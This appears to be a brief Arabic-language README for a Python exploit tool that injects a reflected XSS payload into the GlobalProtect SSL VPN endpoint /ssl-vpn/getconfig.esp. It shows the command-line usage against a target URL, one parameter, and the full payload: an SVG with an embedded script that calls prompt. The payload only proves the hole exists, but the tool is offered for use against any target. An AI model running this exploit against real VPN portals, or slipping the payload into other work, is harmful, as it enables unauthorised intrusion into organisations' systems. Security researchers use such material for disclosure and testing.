mitsec_vpn_xss_exploit

🔓 استغلال لنقطة نهاية GlobalProtect SSL VPN /ssl-vpn/getconfig.esp يضيف حمولة XSS مصمّمة إلى عنوان URL.

الاستخدام

python3 exploit.py -u https://target.com

المعاملات

• -u, --url: عنوان URL الأساسي للهدف (لا تدرج معاملات الاستعلام)

معاينة الحمولة

<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>

المؤلف

• GitHub: ynsmroztas
• Twitter: @ynsmroztas